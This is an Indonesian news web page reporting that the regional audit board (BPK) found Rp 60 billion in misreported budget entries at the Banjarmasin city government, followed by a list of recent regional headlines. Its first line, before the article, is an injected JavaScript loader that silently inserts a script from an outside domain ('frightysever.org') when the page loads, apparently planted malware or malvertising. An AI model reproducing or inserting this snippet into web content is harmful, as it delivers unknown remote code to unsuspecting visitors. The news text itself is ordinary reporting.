(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

BPK Temukan Salah Pelaporan Anggaran Sebesar Rp 60 M di Pemko Banjarmasin


BANJARMASIN, Badan Pemeriksa Keuangan (BPK) Kalsel sempat menemukan adanya salah pelaporan penyampaian laporan keuangan pada anggaran Pemko Banjarmasin. Jumlahnya tak tanggung-tanggung, mencapai Rp 60 miliar!

Hal ini sebagaimana disampaikan Wakil Walikota Banjarmasin Hermansyah dalam rapat evaluasi Inspektorat Banjarmasin di aula Kayuh Baimbai, Pemko Banjarmasin, Selasa (19/12). Dia mengatakan, peristiwa itu terjadi akibat Struktur Organisasi Perangkat Daerah (SOPD) gegabah meletakkan nomenklatur laporan administrasi pemerintahan.

Dalam catatan, dari sejumlah SPOD di lingkup Pemko Banjarmasin, sempat terjadi kesalahan input pada Dinas Pendidikan. Misalnya saja, laporan Bantuan Operasional Sekolah (BOS) yang seharusnya berada di belanja langsung, tetapi diletakan di belanja modal. Kesalahan lainnya yakni BPK menemukan silang penempatan kode rekening.

“Dari hasil pemeriksaan BPK, uang yang terselamatkan Rp 60 miliar itu dikembalikan karena penggunaan anggaran tidak terserap,” jelas Hermansyah.

Terkait hal ini, Wawali Hermansyah meminta agar ada perbaikan terhadap laporan keuangan pada seluruh SOPD. “Temuan 2017 ini bisa diperbaiki. Tapi untuk 2018 pengunaan anggaran, termasuk perencanaan harus diperbaiki karena banyak yang tidak sesuai,” tegasnya.

Hermansyah khawatir, jika mekanisme tersebut tak diperbaiki maka upaya Pemko Banjarmasin mempertahankan predikat Wajar Tanpa Pengecualian (WTP) akan lucut.

Di sisi lain, Kepala BPK Kalsel Didi Budi Satrio mengatakan, lembaganya secara umum menemukan persoalan terhadap tiga entitas dalam pelaporan keuangan di beberapa daerah se-Kalsel yang telah diaudit. Di antaranya, masih ada temuan kekurangan volume atas sejumlah paket pekerjaan fisik infrastruktur, keterlambatan pelaksanaan pekerjaan, dan paket pekerjaan yang terindikasi kontrak kritis. “Serta dokumen pengadaan e-purchasing yang tidak lngkap,” ujarnya.

Dengan adanya kelemahan yang ditemukan, BPK telah merekomendasikan pemerintah daerah dapat menindaklanjutinya selambat lambatnya 60 hari, sejak laporan hasil pemeriksaan BPK diterima masing-masing kabupaten/kota. (asriyani)

 

Reporter : Asriyani
Editor : Chell

Desy Arfianty

Recent Posts

DLH Banjarbaru Siapkan Antisipasi Sampah Jemaah Haul ke-20 Sekumpul

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More

10 jam ago

Cara Transaksi Lancar Saat Libur Natal 2024 dengan Layanan BRI

KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More

17 jam ago

Kakak Adik Edar Narkoba, 99 Gram Sabu dan Ekstasi Disita

KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More

17 jam ago

Ikhtiar Jaga Keandalan Listrik Nataru, PLN Doa Bersama Serentak se Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More

19 jam ago

Wamen BUMN Cek Kesiapan SPKLU PLN Layani Kebutuhan Nataru

KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More

19 jam ago

Diduga Sakit, Jasad Satpam Didapati Tak Bernyawa di Depan Bapelkes

KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More

20 jam ago

This website uses cookies.